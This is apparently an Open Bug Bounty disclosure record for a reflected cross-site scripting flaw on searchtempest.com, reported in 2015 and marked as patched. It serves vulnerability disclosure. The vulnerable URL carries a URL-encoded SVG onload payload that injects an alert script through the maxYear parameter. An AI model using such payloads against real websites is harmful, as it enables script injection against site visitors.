searchtempest.com XSS vulnerability

2015-11-03T23:52:00
ID OBB:100560
Type openbugbounty
Reporter retr0
Modified 2015-11-03T23:54:00

Description

Vulnerable URL:
http://www.searchtempest.com/search?location=90210&maxDist;=400&region;_us=1&search;_string=lol&keytype;=adv&Region;=na&cityselect;=zip&page;=0&category;=8&subcat;=sss&minAsk;=min&maxAsk;=max&minYear;=min&maxYear;=%22%3E%3Csvg/onload=alert%28/XSSPOSED/%29%3E
Details:

Description| Value
---|---
Patched:| Yes, at 16.11.2015
Latest check for patch:| 16.11.2015 21:55 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 17792
Google Pagerank| 4
VIP website status:| Yes
Check searchtempest.com SSL connection:| (Grade: A-)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability reported| 3 November, 2015 23:52 GMT
Vulnerability existence verified and confirmed| 3 November, 2015 23:54 GMT